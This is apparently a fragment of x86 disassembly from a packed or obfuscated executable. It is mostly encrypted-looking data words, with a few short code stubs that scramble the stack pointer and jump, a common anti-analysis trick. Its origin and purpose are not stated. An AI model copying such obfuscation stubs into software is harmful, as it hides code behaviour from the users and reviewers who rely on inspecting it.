		dd 0D0D2324Ch, 7D966918h, 861C27E3h, 0A03D49BEh, 0C255DBD3h
		dd 0CD586ABAh, 0D365ACD7h, 0A17EDEDEh, 846C3618h, 9945B158h
		dd 0AA380488h, 0B6C06A4Eh, 5EC9643Fh, 4E1AD5CCh, 0C8621FFAh
		dd 4D43433Eh, 0D7CD10B8h, 0B84CE2A2h, 0B8703210h, 5A76CED4h
		dd 185EF0B0h, 0B84D2969h, 2BB9EB10h, 4C564995h,	0BA6D57B1h
		dd 0A84C0AE8h, 88F43CD2h, 0C453DEE1h, 0B4847F32h, 0CC81810h
		dd 354F9715h, 0F99311FDh, 29D96C6Ch, 0CBC60E70h, 8CDF4CBh
		dd 61C95F45h, 5C1A309Ch, 6C1D5FF0h, 8CDF52Ch, 0D428BEE4h
		dd 952755F8h, 0F50686FBh, 34C608CDh, 90584A4Ah,	3EDF715Ch
		dd 9F16608Ah, 2CBE29C4h, 26E6A275h, 0F8921010h,	0E673336Eh
		dd 319D00E4h, 3815D1Fh,	5F69856Dh, 641A9FF7h, 753BA93Dh
		dd 1BBF7B09h, 8E0E83F1h, 7C00E5B6h, 0E5B68505h
		dd 79158F00h, 0B632722Fh, 0C0E200E5h, 730A9C32h, 0A9715A64h
		dd 0C23ABB8h, 3768846Ch, 0AA456811h, 0D23AB3Dh,	97218773h
		dd 9D55D7CFh, 3E7419ECh, 6A0B9908h, 1C3161FCh, 0BF44AE04h
		dd 11A4EFBAh, 0A58DF187h, 4599DB71h, 791E309h, 0BEEDF96Eh
		dd 63CFAE4Bh, 0BF28CB9Eh, 2415742Dh, 277D0055h,	5424C995h
		dd 13255D5Dh, 5FEDB7F1h, 0F935FD87h, 1325AC08h,	0ED650F1h
		dd 3B499517h, 32FE7E93h, 12F22FCEh, 6CC37A7Ch, 3Ch, 37A0B376h
		dd 0A9430BA5h, 636263CFh, 0C937B5ABh, 0A793E90Dh, 6C15E9BBh
		dd 2873AB50h, 0B0610834h, 8C19FA50h, 922879E5h,	826EFC7Eh
		dd 11B6Fh, 0CCC55F00h, 2873B6CCh, 30925E44h, 0FD1A04Ah
		dd 0B9AC02EDh, 80CC10A6h, 0D17D0F6Dh, 0E1E343C1h, 57AF2D65h
		dd 3F49E54Dh, 0C54D50A6h, 0C42C5F3Eh, 0E4383AD0h, 7B7343DAh
		dd 440888F9h, 9A08305Ch, 22551003h, 2E48E2D6h, 8DA5019Ch
		dd 62DDD0A8h, 0E37C0B96h, 87305C1Ah, 12920F75h,	2305C1Ch
		dd 0EE7812A0h, 5C1BF3B3h, 0AB871D30h, 732EB826h, 305C1C33h
		dd 0F107C7DDh, 0C52DB78Fh, 0AF393BD1h, 1C1C9C15h, 0AEF4305Ch
		dd 0D85B2E42h, 0F5C4BD4Fh, 0C737B4FAh, 0A880F81Fh, 0E7A7DAC4h
		dd 292872FAh, 0DE48E57Bh, 0A0D7AD47h, 0C632C1E0h, 0D9F082Bh
		dd 0C7D28594h, 0E5772D2Fh, 7E96D479h, 0CA58DACAh, 4EEC687Ah
		dd 0A5179E2Ch, 7B4DE490h, 1B3C35E1h, 1C494CBh, 41EA0000h
		dd 0FE12BE37h, 0B147F17Ch, 9A8A26CFh, 163B9518h, 0D851CF66h
		dd 8E2755F8h, 0FC71F322h, 30BDBF50h, 69047684h,	0A7E79A04h
		dd 69286DA7h, 0A74A6D53h, 9F2D4FE3h, 7E3E730Dh,	96305CC5h
		dd 7FD9240Ch, 0B012A3DDh, 0A537A0B3h, 0B5AAEDECh, 60F75F37h
		dd 72BEC418h, 2161108Eh, 0F32873AAh, 0C5C323B1h, 0BA327528h
		dd 0B27EEF94h, 7341F7D3h, 0B861ED28h, 1A63A91Bh, 0ABC58Ch
		dd 4A9D0000h, 2C4EE0A0h, 0AD38469Eh, 0E87FADBAh, 9A3EFA17h
		dd 48390577h, 305BF2EFh, 9E17618Bh, 39681832h, 7F0D6F8Dh
		dd 0B78F1DA7h, 56E077E2h, 0D8106A8Eh, 0D304D3CEh, 703237B4h
		dd 0A4267EE6h, 0E3EE4A58h, 0A03AAD48h, 0C6FD7BF1h, 0D973312Fh
		dd 85AAD87Dh, 3AD365FBh, 0F791708Ch, 0C8D51D54h, 6B3C96Ch
		dd 3C341408h, 0DBA31428h, 0C3000000h, 0BA54828h, 0BC1895E7h
		dd 0E34DE09Ah, 10BC31B3h, 66F67FFDh, 383CD1C1h,	8A0A1BB5h
		dd 0D6A649EBh, 1D5FFD5Fh, 0FEB3EF90h, 286DA6BEh, 4A462456h
		dd 0CE58D5A7h, 0A48C0E06h, 1598DA70h, 0D6A04AADh, 0CEA8420Eh
		dd 76E10C27h, 0B09DADE4h, 3B97384Fh, 99B6B15h, 3ECCA84Dh
		dd 1F9F12ACh, 0F1286DB1h, 74042BB3h, 82DE1AA8h,	0DB5A2436h
		dd 5DA1D379h, 0C253AA43h, 2EDF64E0h, 987003C2h,	658F658Bh
		dd 8CEA00C4h, 4B989515h, 0C9BA86CBh, 0FE9034AFh, 29790C96h
		dd 0C0E63CE0h, 0E153E270h, 59F294Bh, 4B2A0C8Ch,	502ACCCBh
		dd 568A663Ch, 54A82A7Ah, 7A7C1D23h, 0F43C3ED2h,	0A5482AC0h
		dd 8EA1E10Bh, 34CE58EEh, 4B2A3D7Dh, 9CDD7CBh, 354F97E5h
		dd 30EA1FDh, 50000000h,	0A14AF654h, 0A9430FD7h,	0B45B77CFh
		dd 455C78C4h, 0BE537FC7h, 0C76A66BEh, 356D69B5h, 0CD636FB7h
		dd 0D36753B3h, 685E55A9h, 5FAAh, 68241489h, 1010h, 68240C89h
		dd 6F12h, 53241C89h, 0EF1466BBh, 8BD98907h, 0C483241Ch
		dd 1C8B5404h, 4C48324h,	8B850h,	0D8010000h, 48B0889h, 4C48124h
		dd 8B000000h, 8951241Ch, 4C181E1h, 81000000h, 4C1h, 240C8700h
		dd 240C8B5Ch, 5E08950h,	4, 405h, 24048700h, 5BCCE95Ch
		dd 9B53FFFAh, 1FEC904Bh, 95D0D9A2h, 82F18DDBh, 0EF1F89B8h
		dd 0FFC50307h, 0C49C96E0h, 0C272490Ch, 7AA0D409h, 64FACF72h
		dd 9240065Ah, 0B4C64D44h, 0E256561Eh, 59C7BC60h, 0FBB5580Ah
		dd 0A8216012h, 70580122h, 8861A51h, 17E90Bh, 0DDC60000h
		dd 28ACh, 4 dup(0)
		dd 500E900h, 12A0000h, 0BE52FE77h, 718731BCh, 0DACA660Fh
		dd 0D67BD558h, 98910FA6h, 0CE671538h, 3CB13362h, 70FD7F90h
		dd 0A94436C4h, 0E7A7DAC4h, 29286DA4h, 0A04AAD13h, 0E81725D1h
		dd 2F66444Eh, 9BBF1FADh, 0C7F353E1h, 9AB4A32h, 14D91E3h
		dd 19B589EBh, 12BF87F5h, 87955FFEh, 54EE78F5h, 5CAF5D5Dh
		dd 5EDB730h, 77FE7E91h,	0FA4A32C5h, 0F945C7DEh,	0E2423ADDh
		dd 0E73F41D6h, 0A651F824h, 2F2C23F7h, 0A659EF1Ch, 2ACD07A6h
		dd 0DB71A352h, 61F789AFh, 0B65B039Dh, 31607EC6h, 305BD771h
		dd 0EB7301A3h, 0DBE93547h, 0D7536E1Fh, 0FB2B305Bh, 729A579h
		dd 621FA975h, 305BD722h, 0B5DBB0F2h, 0AD47E614h, 0CDF5CF0Ch
		dd 5D718431h, 51000000h, 44D6A04Ah, 3A0A8898h, 752C40A8h
		dd 305CC533h, 9C3DDC30h, 8430E024h, 142h, 0A64A6000h, 0A84C08D4h
		dd 4E4672D2h, 962456FAh, 0C6B45804h, 6011637Eh,	2D13FD24h
		dd 0B31F539Fh, 4B07DF99h, 8605D95Bh, 9A43BF5Eh,	0F91DD776h
		dd 0B446F283h, 0DDA530CAh, 0D52D48AEh, 52F0FD35h, 9D5A74Ah
		dd 0FD7A94Dh, 0A0E091EBh, 70305CC4h, 0BA8AF004h, 38049A28h
		dd 7A7C1D63h, 0E2423CD2h, 89AC08E0h, 44D642F3h,	0C543433Eh
		dd 0D7CD305Ch, 3FD1FD41h, 9577803Ah, 0DA3E291h,	0D4759931h
		dd 3195AD07h, 88C984h, 4A990000h, 7F09D5A7h, 933B45D7h
		dd 0A220FC7Ch, 0B2CC6256h, 0E19BBC18h, 77AB871Dh, 0EF17B65Ah
		dd 0C55C5C55h, 0D8B4305Ch, 7AB64436h, 37C1BB5Eh, 38F088AFh
		dd 0B0F61BB5h, 0F549DF9Dh, 0AFC963EBh, 31E54D57h, 378363E1h
		dd 0C9855923h, 1C895527h, 39A151F8h, 4DA77415h,	0A98430DAh
		dd 41h,	0D5A74A39h, 0D2AA4D09h,	0CAB44672h, 0C5475E7Ah
		dd 11B85C79h, 0F9A0B4E1h, 0D0642ACFh, 554C5AAAh, 305CC555h
		dd 0C157E5BFh, 0A64A962Ch, 3E9908D4h, 1D305CC5h, 3F8152FBh
		dd 0BF8430E0h, 1, 0DAA44A0Bh, 0D2AC4E0Ah, 52FB1D72h, 77FE8096h
		dd 14A6313Ch, 0B5ADA29Dh, 32129037h, 6B0A7486h,	8D5123C9h
		dd 0BA3A6BF3h, 0AE0D8F7Eh, 25CB2873h, 29CF8B5Bh, 0D3C38F57h
		dd 56F78D51h, 88D81BC2h, 55C09DD3h, 0C7C9BC52h,	0E374D026h
		dd 0D7655199h, 0A14B13A5h, 0BD750FD7h, 32768430h, 72D260E2h
		dd 7ACAB446h, 0ABE5FA1h, 580496E0h, 697BCB49h, 3AA23C81h
		dd 9E6610h, 73381191h, 13A10328h, 6D1CE427h, 87118C1Ah
		dd 73448A0Ah, 0BC188A28h, 871DE19Bh, 13B76ABh, 784C0000h
		dd 0FD413BDCh, 0DB560BE7h, 0C8C7BA4Ch, 4E37B599h, 22B03262h
		dd 57D5CC88h, 0DE1A62F7h, 5A243682h, 0A6D379DBh, 0B8E72632h
		dd 59E67DBEh, 375D25F3h, 873313A1h, 603B0B75h, 0A14B7D1Ch
		dd 36C05ED7h, 73263B7Bh, 63CFD528h, 1A7F60A0h, 0E509D58Ch
		dd 4E065B97h, 5C000000h, 9B2DBAB3h, 5CC4C6E6h, 88544EB0h
		dd 5CC49919h, 0D462B3B0h, 55A93FBDh, 5DA1D379h,	1BE7868Eh
		dd 18932A7Ch, 0D6BDFDF6h, 2EF686A9h, 0C62A0694h, 84031427h
		dd 0D3CE58F2h, 0B05C39D3h, 0FA8B673Dh, 305C39DAh, 70C5683Ah
		dd 95h,	37A0B392h, 93F1ECA5h, 0A23B37B5h, 7CF67621h, 0FEE24E15h
		dd 0DE7C58A4h, 1D730A9Ch, 0D24F849h, 5DFFC22Eh,	0C8C8B9BFh
		dd 482872F5h, 8978C45Ah, 2872F52Ch, 9054F51Fh, 585FC7Ah
		dd 0F62872F5h, 0CFF2E825h, 0DECBCB69h, 0D5B7D0E2h, 1BA93FA8h
		dd 0AA710C9Ah, 2258AFD4h, 0C0530EEAh, 0CCCC557h, 843065E9h
		dd 1CB8C61Eh, 26BC80FAh, 324CEECAh, 601A3C98h, 0F62A069Ch
		dd 0D3DE7F81h, 4C45D740h, 2876C88Ch, 0F486A804h, 0F75FCF66h
		dd 720C2E60h, 0B6821092h, 37A0B314h, 0A4ECECA5h, 0FEA4384Fh
		dd 0F680AA26h, 0D567EF7Fh, 0E1495BABh, 89552735h, 29AA7B18h
		dd 0A420FE57h, 0DF03EF6Dh, 16608A3Eh, 4032D884h, 2F66E6FCh
		dd 0E75351ADh, 0E29CBE1Ah, 0DC5EB602h, 40E9EF00h, 69047684h
		dd 4EEF60FDh, 113801A0h, 1D5FFDD9h, 3EEC1h, 54300000h
		dd 0D7A14AF6h, 0CFA9430Fh, 0C4B45B77h, 0C7455C78h, 0BEBE537Fh
		dd 0B5C76A66h, 0B7356D69h, 0B3CD636Fh, 0A9D36753h, 89505E55h
		dd 405E0h, 42D0000h, 87000000h,	895C2404h, 4F68241Ch, 8900000Dh
		dd 8951240Ch, 4C181E1h,	81000000h, 4E9h, 240C8700h, 241C895Ch
		dd 942B850h, 542D4AECh,	559C501h, 2FC40410h, 1462BB53h
		dd 0D801E704h, 58C1895Bh, 2EDE68h, 24248900h, 4240481h
		dd 5B000000h, 4DBE5651h, 291F3A09h, 5E042474h, 8108438Fh
		dd 94D0843h, 1C8B1F3Ah
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_58B97E
; ---------------------------------------------------------------------------
		db 0E2h, 2Ah, 7Ch
		dd 0D4C11844h, 0C4B84407h, 307EF24h, 1E0FFC5h, 0D5201B79h
		dd 3B214449h, 405BA5A3h, 0EB236C4Ah, 24h, 8 dup(0)
		dd 0BDE900h, 0B5890000h, 7EF257Bh, 1B69858Bh, 858B07E9h
		dd 7E921F9h, 25C5B58Dh,	858D07EFh, 7EC7789h, 55C3D0FFh
		dd 0E8h, 0ED815D00h, 7EF25CBh, 1B69BD83h, 0F0107E9h, 2C85h
		dd 7BB5FF00h, 8B07EF25h, 0E921F985h, 27363507h,	0D0FF3481h
		dd 850F013Ch, 0Ah, 1B8h, 47E900h, 0C0330000h, 40E9h, 8D1C6A00h
		dd 0EF257FB5h, 0B5FF5607h, 7EF257Bh, 21F9858Bh,	363507E9h
		dd 0FF348127h, 0CC483D0h, 257FB58Dh, 468B07EFh,	4E08314h
		dd 0F04F883h, 784h, 0E9C03300h,	5, 1B8h, 69BD8300h, 107E91Bh
		dd 7850Fh, 0C35D0000h, 2E9h, 8DCF5D00h,	0EF25A485h, 59858907h
		dd 0E807E91Bh, 10h, 0E15A6A33h,	0BCD6FC3Bh, 0F3A513D8h
		dd 0DF672B9Bh, 0D5B26059h, 0CDC18161h, 8B00005Eh, 177D68F8h
		dd 12E90000h, 7000000h,	0C88C9817h, 0BF65169Dh,	947C5A27h
		dd 3899E579h, 810F5808h, 5, 0D38B6657h,	0BF31FF5Ah, 6AEBB8CAh
		dd 8175B35Eh, 906F9AEEh, 0E3816668h, 0F681824Eh, 5CF84483h
		dd 2860Fh, 0DA8B0000h, 987AC681h, 0D2BB5934h, 892FC996h
		dd 8B666031h, 7E9D1h, 66590000h, 0C41A24DAh, 0E98161D8h
		dd 67A76270h, 11E9h, 58471900h,	73082C05h, 56F2633Eh, 68DAD2CBh
		dd 0C1816D04h, 67A7626Ch, 8E8h,	0DD168500h, 0FE567FFDh
		dd 2C02BF16h, 835B568Fh, 850F01E8h, 0FFFFFF81h,	13840Fh
		dd 7E80000h, 0A2000000h, 0C8A5464Eh, 830F1B3Ch,	0
		dd 798D8D5Bh, 0F07EF28h, 8D89C1B7h, 7E9320Dh, 1B077EBEh
		dd 0E585C70Bh, 9C07E922h, 6A000066h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 3F32C353h
		dd 60512C1Ch, 14E9h, 0B1C06B00h, 8F8D6116h, 0A00D3B00h
		dd 29C4F1D7h, 0D0F47D6h, 75D0B92Ch, 606158D6h, 6830Fh
		dd 9D010000h, 7E91905h,	0A0AD88B9h, 85C76122h, 7E922B1h
		dd 0
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 9C35747h
		dd 0DF60D6D8h, 0FD6403Ch, 28Ah,	0FFFE8B00h, 0E91735B5h
		dd 50006A07h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1D04h
		dd 0C3504000h, 30D574DCh, 4AD8DD13h, 0E9605E4Eh, 11h, 8C4B4752h
		dd 73EEE72Dh, 7214A144h, 77E76C02h, 6061F9D5h, 870Fh, 8B660000h
		dd 95FF61FAh, 7E92285h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Ah, 4FC35242h, 871EE066h,	9D29FA6Ch, 7E91BB1h
		dd 95FF006Ah, 7E90C31h,	0BEBC08Bh, 0C9709ACBh, 0D7E70C8Fh
		dd 0E809952Eh, 13h, 1C96AC0h, 19A06FA1h, 0FF0033h, 2D4754CBh
		dd 8BFA2900h, 0E934419Dh, 8D895907h, 7E907A1h, 74EEC181h
		dd 870F0000h, 6, 10818501h, 0D22B07E9h,	0C890Fh, 66600000h
		dd 196C9B9h, 0E9239985h, 348B6107h, 819BB411h, 0A5F113EEh
		dd 0D5858B19h, 8107E919h, 5234A6EEh, 0F5858B42h, 8107E901h
		dd 39204BF6h, 79858910h, 5607E907h, 1C81858Bh, 48F07E9h
		dd 8BD98B11h, 0E90F3185h, 4EA8307h, 2A219D89h, 0FA8107E9h
		dd 0FFFF8BCCh, 16850Fh,	95890000h, 7E93079h, 1DE9h, 0F2349C00h
		dd 0AA8CF211h, 0FD2CC835h, 64BC0EBFh, 0FF90E96Ah, 0A9C0FFFFh
		dd 702AFCBh, 2DE9DED2h,	72000000h, 459BA8h, 25300h, 9 dup(0)
		dd 0C24E9h, 2AEA6800h, 81E907EFh, 68FFFB29h, 7EF2BDEh
		dd 0FB2977E9h, 2DB268FFh, 6DE907EFh, 68FFFB29h,	7EF2E9Ch
		dd 0FB2963E9h, 2F4068FFh, 59E907EFh, 68FFFB29h,	7EF30F6h
		dd 0FB294FE9h, 31C068FFh, 45E907EFh, 68FFFB29h,	7EF3314h
		dd 0FB293BE9h, 341768FFh, 31E907EFh, 92FFFB29h,	8130AE7Ah
		dd 0F75A4084h, 0E968769Eh, 0DD7C6AAEh, 29871FBFh, 0E92D6B47h
		dd 9E4640F1h, 8D55B100h, 0BD6DA415h, 71FA8E25h,	0A92EADCBh
		dd 4FAE0A8Fh, 36E8858h,	6FC6DC0Ch, 5FD4C4DAh, 0A9289D92h
		dd 2D139808h, 0ED99566Dh, 0AD2CBEEh, 42EAA1C5h,	4799566Ch
		dd 1D64864Eh, 12B0DA06h, 0A7C4F610h, 0C72F6B9Bh, 0B313FFCCh
		dd 2Ah,	801653D5h, 9EF69B10h, 2734A928h, 6A64D4C3h, 75279956h
		dd 6AE24EE5h, 55A69956h, 0F836D04Eh, 13FFD29Ch,	0B0CCh
		dd 584F8000h, 5036E88h,	0EC43D3C1h, 1D3482B8h, 66CAC317h
		dd 22A1407Bh, 87F20BDDh, 0E425229Dh, 61B819FDh,	150C55B1h
		dd 0B356DDC5h, 90A13FCBh, 8031A979h, 653D5989h,	7A61A9E4h
		dd 7C6C82C7h, 28D33EF7h, 0DFC714A9h, 0DDCFE166h, 4287B456h
		dd 23C8D8A1h, 916AD7FDh, 6B79BEBDh, 7268ACEAh, 760301EEh
		dd 6460FEB7h, 1CC0DE7Dh, 139C163h, 0A74E682Eh, 0A14h, 25BD6DA5h
		dd 4F577794h, 5D45918Ah, 6179A1FCh, 7412B2D0h, 1A7854DEh
		dd 336DECFAh, 425EF3EBh, 5AB1009Eh, 0E9BB108Eh,	2EAEDE42h
		dd 0BD1F9AA9h, 158D514Fh, 25BD6DA4h, 80165391h,	79AADF10h
		dd 0FB0F65E4h, 0A6CB60E0h, 0E4A9294Dh, 19012FC4h, 0BAB99957h
		dd 0B6D00017h, 692E4889h, 995718BFh, 0EE08CCCAh, 27438783h
		dd 47776F81h, 0ACEA1C26h, 13FF2448h, 0E230h, 0DF7E5400h
		dd 0E68D1FC3h, 0A13F853Ah, 57E6FDFEh, 2B769040h, 0F0F525EDh
		dd 0B2750841h, 0D879294Dh, 0F21A73C1h, 6AABA8h,	0B653D8C3h
		dd 0ADA13F9Fh, 9D3CAA76h, 4D305A86h, 79F2E6F8h,	0A928A7C8h
		dd 73D952E2h, 10995683h, 85D87E44h, 82D13BEBh, 0E4E2F107h
		dd 0F6EAFC49h, 4163887Dh, 1381D2A1h, 2AB054B2h,	49255996h
		dd 1CC0C269h, 34D83685h, 99C34Bh, 95305E2Eh, 920h, 31A97991h
		dd 5B438380h, 69719DF6h, 7D65ADE8h, 801EBEDCh, 2664482Ah
		dd 3F59F8E6h, 4E4A0F97h, 66BD1C8Ah, 0F5B72CBAh,	2EAFD27Eh
		dd 0A10396A9h, 0D745EE7Eh, 93A13F84h, 84B49813h, 6774A13Fh
		dd 43878326h, 7B9BF958h, 0EE52D969h, 0AAA13F84h, 19B832A9h
		dd 0EA6FDA02h, 0A4527ADDh, 7691BF34h, 0A49A140h, 4F79DDC5h
		dd 36E8858h, 6FC6DC0Ch,	0F4C2C8DAh, 0D234DC38h,	0DD4AA0EDh
		dd 8F1F8DF2h, 0EC0ED2CEh, 23478785h, 7FE4FF3Ch,	0A9291206h
		dd 0A28D1F5Ch, 0CF64EBADh, 9956CF61h, 999DA19h,	0EC2AB14Dh
		dd 9A118E85h, 995772B6h, 3BC78F55h, 315B81E3h, 6EEFFD22h
		dd 7EF4EF33h, 0F214C4DBh, 9D09B485h, 0F61E7720h, 6DCFCD94h
		dd 4BAFEC30h, 0AB6383BDh, 0B747D7CBh, 10C4103Ch, 28BC812h
		dd 1210C41Eh, 0EC0299DAh, 0BF6BA2FAh, 0AF6FAC2Dh, 59D044Bh
		dd 1F8D5DB4h, 5BBF63BEh, 0C003DB14h, 95B12DB7h,	9A83080Eh
		dd 67121094h, 4F8F8C4Dh, 0D04CBA54h, 0C5110BB9h, 64BB1E84h
		dd 0F02552B4h, 28121094h, 0DD6DD036h, 1094EA56h, 60ADAE12h
		dd 0D45F93EDh, 0E05F4A39h, 0E16179A9h, 819F2560h, 36851C5Dh
		dd 96D733DFh, 0A64D5F51h, 19FA3A9Bh, 69C4C211h,	5DD6CADCh
		dd 12111C54h, 0B9E90D4Eh, 0E59E8229h, 195A023Eh, 0E6301982h
		dd 0ABF9023Eh, 1EEE9244h, 5843E6D9h, 0A2F240A6h, 0D6AB17ABh
		dd 48Eh, 0DEFE1BBAh, 0B76571C3h, 10A13F84h, 0A13F9528h
		dd 3F78898Bh, 71321AA1h, 0C786A13Fh, 0FCE307CBh, 0EBFD4AE5h
		dd 5EC269F9h, 1AA13F70h, 7B9FFAD9h, 3BC9D01Fh, 288B89B0h
		dd 3AFC33A9h, 4932B696h, 8AC93FAAh, 3C1167F9h, 3DD8E626h
		dd 74Ch, 6D75A5FDh, 776FAFECh, 851DC9C2h, 0A931D934h, 0BC2AEA28h
		dd 52B01C06h, 6BA514B2h, 7A963BA3h, 92894856h, 21E35846h
		dd 2EB1A68Ah, 0F55762A9h, 1888584Fh, 853DE388h,	0FEFDA13Fh
		dd 0B7620BB5h, 4E5553EDh, 7E70F5C8h, 0A0ACC16Ah, 8DCEA92Fh
		dd 0D8349515h, 0DED8A930h, 0C1A98616h, 0E9295E9h, 0F299870Ch
		dd 82299950h, 9950F29Eh, 0E0F3195Ah, 0EF0146F9h, 191F76FDh
		dd 2635A13Ah, 91C4348h,	922240C9h, 0EA0CDC33h, 9040ECE5h
		dd 54B1E206h, 801B58B0h, 0B30A982Dh, 7E1A01A8h,	851587C4h
		dd 8702CAC4h, 0F03C9F12h, 862D7DE9h, 0DA1E099Ah, 0CCDC1D5Eh
		dd 0B1CFFD63h, 148F58CFh, 504683E2h, 195EF40h, 0AC077221h
		dd 0C83CB735h, 10E20726h, 1970D1C3h, 42A474ABh,	73C6DC1Dh
		dd 0B733CC1Ch, 3AEEDF14h, 662711Ch, 0BBD30000h,	0C5C2776Fh
		dd 0DF389901h, 0EF2AAF37h, 1EB32Bh, 668C6DCh, 32A86CAAh
		dd 4159859Fh, 564C94F0h, 667CACE3h, 8CB03BC9h, 4CA92EB2h
		dd 1653EF49h, 0EA9B1080h, 38A92893h, 6CC3DF3Bh,	0A42BEF99h
		dd 963E58CEh, 948B4A51h, 69B5444h, 7E1A88BEh, 31DF27A2h
		dd 0C59D70Fh, 0F46D069Ah, 36A13EB2h, 35517D97h,	6E6D930Eh
		dd 14C4DB7Ah, 0BE6EF58Dh, 0E1916C94h, 916C953Bh, 198B1DAAh
		dd 5BBDFF92h, 0BCDE1D99h, 0E12965E4h, 6BCE71FAh, 38E3897Dh
		dd 4F897D6Ch, 75F78858h, 0F43617D1h, 5BE43EAh, 170F0000h
		dd 217ED3CBh, 3B54E5FDh, 4B460B93h, 5CBA1F87h, 0AAB422B8h
		dd 9E04C8C6h, 0AD35E13Bh, 0B228F02Ch, 0C2D8081Fh, 301C9715h
		dd 0E8A92EB4h, 165303ADh, 6D68D38Ch, 8FCC4D72h,	0DB61BC1Dh
		dd 0F2F115C1h, 1D96168Dh, 0A92F9A80h, 0B12A63E2h, 5148163Ah
		dd 4081D299h, 46A0B359h, 0EEF4247Bh, 9EF8F677h,	960CDC33h
		dd 0B25AB312h, 4A486B68h, 7863608Ah, 0F416C2D9h, 0CAC876ADh
		dd 0AA6AA70Ah, 0B8C20340h, 118B7BAFh, 1FB02EFAh, 1404F4F7h
		dd 1AB63h, 16532500h, 84F458D3h, 0A3FDA13Fh, 0B8D01F7Bh
		dd 0D6667ABBh, 847FAD46h, 383BA13Fh, 0A23538A1h, 0A4B7A928h
		dd 35BE4E42h, 99566807h, 0F511B0C3h, 0FD2DB62Dh, 86995667h
		dd 91D66284h, 5BE68D1Fh, 0D1A13F85h, 5EB50482h,	2444EBEh
		dd 0B5FA112Ah, 0C9197051h, 0F1E77CD1h, 0E8548E3h, 0F4079956h
		dd 0DE33E592h, 0CAF48983h, 5B769E1Ch, 2A0523D2h, 0F689A33Bh
		dd 45074893h, 0B8CAD1BEh, 31584D54h, 48000000h,	24469289h
		dd 5310A43Fh, 80108016h, 84D57BF0h, 4695A13Fh, 9EABD65Bh
		dd 92E1A928h, 6A190388h, 0D0D29956h, 0D39CF836h, 0CECC13FFh
		dd 80000000h, 6E88584Fh, 0D3C10503h, 4561CB1Ch,	4B110785h
		dd 4A9ED327h, 260AA1B2h, 0E2A13FD8h, 0CD495091h, 197DADE4h
		dd 29B161B8h, 3FDC6782h, 15C5DCA1h, 6CAC687h, 6EE4FFE4h
		dd 6C7C72F7h, 0D2E957DCh, 52A1A13Fh, 4532B937h,	93A92BA8h
		dd 1C05040h, 3F49CC04h,	67BC27DBh, 40888326h, 789CFA59h
		dd 6DB1EF62h, 3E64C290h, 0E68FA926h, 408h, 29B161B9h, 33AB6BA8h
		dd 4159859Eh, 554D95F0h, 7866A6E4h, 0E0C60C2h, 2761D0CEh
		dd 3652E7FFh, 4E45F492h, 0DDAF0482h, 2EB4EA56h,	49EBAEA9h
		dd 158D514Fh, 6FEE6DA4h, 38E4ED31h, 0F0A13F85h,	0EB6F5FEFh
		dd 0BCFD246Dh, 53E3677Fh, 404874D8h, 0FF7434A1h, 0A1404851h
		dd 1E85CA09h, 88584FBAh, 9A2326Eh, 0A13F8523h, 0D8F298E7h
		dd 0D7A915A6h, 0DD93396h, 40FFEAE9h, 74A4FB49h,	0D41BAF37h
		dd 45B87F0Ch, 54E0FB6Ah
		dd 4004B365h, 52C1CA1h,	24A1A13Fh, 0CF8E1EB2h, 0E930ED6h
		dd 0A92E2E73h, 0A7644689h, 2EB8A8h, 0C81ED1C3h,	0AAA87C72h
		dd 6045B128h, 54DFCDE3h, 0A138D029h, 0B16F1063h, 0A02E0D70h
		dd 33EFF86h, 978F0000h,	0A1FE534Bh, 0BBD4657Dh,	0CBC68B13h
		dd 0DC3A9F07h, 2A34A238h, 1E844846h, 2DB561BBh,	32A870ACh
		dd 4258889Fh, 0B09C1795h, 68A92EB5h, 0EE7E832Dh, 8AEC346Fh
		dd 84E04C45h, 5B98A13Fh, 429AF140h, 0EA9ECA12h,	96D5231h
		dd 39A171A8h, 3BA93F84h, 0AC901BABh, 4BA14015h,	0D9F25EA0h
		dd 92E10B7Fh, 7D5F62F7h, 15A5A929h, 574BB29Eh, 28657699h
		dd 6F837531h, 0CF4EF5Ch, 3CECABCFh, 0F995781h, 6F8713F3h
		dd 1B13FEB7h, 25h, 801653BDh, 0C7C18010h, 721F841Fh, 0A8A9289Fh
		dd 0E0484FABh, 0AB99566Ah, 0D3236F97h, 8713FFD2h, 0E9h
		dd 0DB584FD9h, 0F3F81C7Ah, 0A13F844Dh, 62DED62Ah, 92FEC666h
		dd 31900041h, 6EA833D3h, 0A5C10503h, 0F115C5DCh, 3BA97990h
		dd 1542ABF4h, 4C579BEFh, 9A232B6h, 0A13FF923h, 0F928149Fh
		dd 93E0A13Fh, 3B577A79h, 554C7397h, 3FFD29CCh, 0D7031AA1h
		dd 0C7130ACFh, 4E851AD5h, 7DB45F33h, 2FBAFB23h,	5F5196D7h
		dd 0BA6BA64Dh, 3241A928h, 58AC3994h, 4351963Eh,	4250B5A8h
		dd 0AF806FA1h, 0AEBA218Ch, 0C417FDE4h, 0F71775D4h, 20CB5BEFh
		dd 916A91FCh, 9524BFBCh, 68AA5777h, 0FB2E0134h,	1EA30DDh
		dd 435B0000h, 4D4A0F97h, 67A01189h, 779227BFh, 88864B53h
		dd 7EE05E44h, 0CAD0F412h, 0D9C10D07h, 0EEF41C78h, 0FEE4346Bh
		dd 428C341h, 0C4A92EB8h, 514F57F1h, 3495158Dh, 0E8D733DBh
		dd 9F4B42F1h, 85554C0Dh, 0E3676261h, 8016536Bh,	9EF69B10h
		dd 2734A928h, 0CB60CFC3h, 0C9F67D0Bh, 40E87168h, 0B9955ADh
		dd 35DD3899h, 189670AEh, 14008EFCh, 0E16Ch, 584F2000h
		dd 0A2326E88h, 3F852309h, 0BE98E7A1h, 6BE4622Bh, 15A43F7Ch
		dd 41EF84F7h, 0F9A1400Fh, 0A627B5FAh, 4B47A36Fh, 400E7CA0h
		dd 0FE3F3CA1h, 816413E3h, 0E2A14013h, 0E3677FABh, 86E02462h
		dd 9CF34259h, 0A6FD5C4Ch, 0D6976F7Ah, 0E68D1F91h, 0A9292B2Bh
		dd 0AD759001h, 0DDC50A49h, 4F8F8C4Dh, 50FC772Bh, 89956E9h
